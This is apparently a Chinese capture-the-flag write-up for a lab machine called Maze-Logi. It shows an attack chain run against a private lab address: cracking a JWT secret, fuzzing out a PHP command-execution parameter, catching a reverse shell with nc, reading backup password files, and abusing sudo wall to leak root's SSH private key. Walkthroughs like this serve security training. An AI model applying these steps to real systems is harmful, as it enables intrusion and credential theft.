Maze-Logi靶机-作者:我-QQ群660930334 #
这里引用下群友夜佬的他写的太好了,自己的设计思路就是JWT,但是我是作者所以没什么打的点讲解,只是想致敬下暑假看的三体2的主角罗辑,我将向下一个网络安全点发起坐标!最后一句Ame加油,Fy加油,老将不死,Ti15大家在上海干回来!
信息收集
首先查看 Web 服务的主页内容:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.235 | sed '/<style>/,/<\/style>/d'
...
<h1>TI15 中国队加油</h1>
<div class="slogan">Make Chinese DOTA Great Again</div>
<div class="slogan">never give up 记住这个要考</div>
...
<!--ame:jiayouachunyu-->
用密码登录user.php
然后使用JWT令牌爆破是密码nevergiveup修改后访问到界面
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ vim hash
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ cat hash
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI6MTc1O...
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
...
nevergiveup (?)
成功破解密钥:nevergiveup
这个密钥正好与首页提示"never give up 记住这个要考"相呼应
进去
成功进入管理面板,页面提示存在隐藏文件:karsakarsa369.php
页面返回提示"fuzz",说明需要对参数进行模糊测试。
使用 ffuf 对 PHP 函数参数进行爆破:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ffuf -u 'http://192.168.205.235/karsakarsa369.php?FUZZ=phpinfo();' -w
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --fs 4
...
cmd
[Status: 200, Size: 86168, Words: 4281, Lines: 1024,
Duration: 4ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
发现参数 cmd 可以执行 PHP 代码。
测试访问
http://192.168.205.235/karsakarsa369.php?cmd=phpinfo(); 确认可以执行 PHP 函
数,从 phpinfo 输出看到默认的 disable_functions 设置,但
exec 函数是可用的
反弹shell
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.235] 50220
id
uid=33(www-data) gid=33(www-data) groups=33(www-data
shell环境优化
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 36 columns 178
发现密码
www-data@logi:/var$ ls backups/
alternatives.tar.0
apt.extended_states.1.gz apt.extended_states.3.gz
apt.extended_states.5.gz dpkg.statoverride.0 group.bak
shadow.bak
apt.extended_states.0 apt.extended_states.2.gz apt.extended_states.4.gz
dpkg.diversions.0
dpkg.status.0
passwd
gshadow.bak passwd.bak
www-data@logi:/var$ cd backups/
www-data@logi:/var/backups$ cat passwd
xiangwozheyangderen
切换提权
发现 ame 用户可以无密码执行
/usr/bin/wall 命令
这里需要了解一些有趣的技术细节。如果你现在的 shell 是 www-data(反弹),然后 su ame 的
shell,执行
sudo wall --nobanner "/root/.ssh/id_rsa" 会没有任何输出。
这是因为:
wall 并不会直接把内容输出给当前执行者,它的工作流程是:
1. 打开
/var/run/utmp 文件;
2. 遍历其中记录的"登录用户"(比如
3. 对每个用户对应的
who ,w命令能看到的);
/dev/pts/X 写入广播消息
现在我们遇到的问题是:
ame@logi:~$ tty
/dev/pts/0
tty 我们是有的,问题是登录记录:
ame@logi:~$ who
ame@logi:~$ w
07:42:06 up 3:06, 0 users, load average: 0.00, 0.00, 0.00
USER
TTY
FROM
我们是反弹的伪终端,不是登录会话,
LOGIN@
IDLE
JCPU
utmp 里没有它的条目,
PCPU WHAT
wall 自然不会发消息到它。
所以我们需要 SSH 重新连接 ame。
读取私钥登录
ame@logi:~$ cat tmp | sed 's/\s\+$//; s/\$//g' > id_rsa
ame@logi:~$ chmod 600 id_rsa
root@logi:~# cat /root/provemyself.txt /home/ame/user.txt
root{xiangrootzheyangderen}
user:{niudexiongdiniude}